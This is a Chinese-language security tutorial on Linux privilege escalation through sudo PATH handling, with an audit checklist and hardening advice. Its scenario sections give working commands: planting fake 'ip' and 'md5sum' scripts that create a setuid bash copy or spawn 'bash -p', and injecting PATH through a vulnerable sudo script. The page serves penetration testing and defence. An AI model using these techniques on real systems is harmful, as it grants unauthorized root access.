跳到主要内容

sudo 环境与 PATH 劫持提权

sudo 默认通过 env_resetsecure_path 重置执行环境,防止低权限用户把自己的搜索路径带进高权限上下文。当 sudo -l 的 Defaults 中出现 env_keep+=PATH 且没有 secure_path,或提权脚本内部用相对路径调用外部命令时,攻击者控制的目录就能抢在系统目录之前被命中。

枚举入口与更广泛的 sudo 滥用思路见 Linux 提权方法与检查清单


判定前提

sudo -l
信号含义
Defaults env_keep+=PATH用户 PATH 被原样保留进 sudo 环境
没有 secure_pathsudo 不会把 PATH 重置为安全目录列表
脚本内 ipawk 等无绝对路径调用即使环境被重置,脚本运行时仍按当前 PATH 搜索外部命令

场景 A:直接 PATH 劫持

SUID 或经 sudo 执行的二进制(如网络工具)以无绝对路径的方式调用 ipethtool 等外部命令时,在可控目录放同名脚本并抢占 PATH:

mkdir /tmp/hijack
cat > /tmp/hijack/ip <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/sh && chmod ug+s /var/tmp/sh
EOF
chmod +x /tmp/hijack/ip
PATH=/tmp/hijack:$PATH sudo -u <user> /opt/tool

先确认挂载选项:

mount | grep /tmp

如果 /tmpnosuid,生成的 SUID 文件即使权限位正确,执行时也不会获得特权,应放到 /var/tmp


场景 B:变量注入型

sudo 脚本内部存在 declare -- "$1"="$2" 这类写法时,调用者可以设置任意变量,包括 PATH

sudo /opt/script PATH /tmp

脚本内的子 bash 会继承这个未 exportPATH,脚本随后调用的外部命令(md5sumawk 等)都可以被 /tmp 下的同名脚本劫持:

cat > /tmp/md5sum <<'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x /tmp/md5sum

注意 echo 等 bash builtin 不走 PATH 搜索,无法劫持;只有外部命令可以。


场景 C:目录 ACL 型

getfacl /usr/local/bin

如果当前用户对 /usr/local/bin 有写权限,而 sudo 免密脚本调用该目录下的程序且不带绝对路径,直接放入同名恶意程序即可命中。


场景 D:musl 场景

musl libc 的 SUID 进程不清理 PATH,劫持面比 glibc 更宽。劫持 cat 这类常用名时,伪造脚本内部必须用绝对路径 /bin/cat,否则脚本再次调用被劫持的 cat 会形成无限递归。


审计清单

  1. sudo -l 的 Defaults 中是否有 env_keep+=PATH,是否缺少 secure_path
  2. 提权脚本中所有外部命令是否使用绝对路径。
  3. 是否存在 declare -- "$1"="$2" 这类允许设置任意变量的写法。
  4. /usr/local/bin 等优先于系统目录的路径 ACL 是否收紧。
  5. 关键挂载点是否带 nosuidnoexec

防御建议

  1. sudoers 固化 secure_path,不使用 env_keep+=PATH
  2. 保持 env_reset 默认行为,避免逐项放行环境变量。
  3. 脚本内所有命令使用绝对路径调用。
  4. 关键目录(如 /usr/local/bin)收紧 ACL,禁止普通用户与组写入。
  5. 审计脚本中把用户参数直接当变量名使用的动态赋值写法。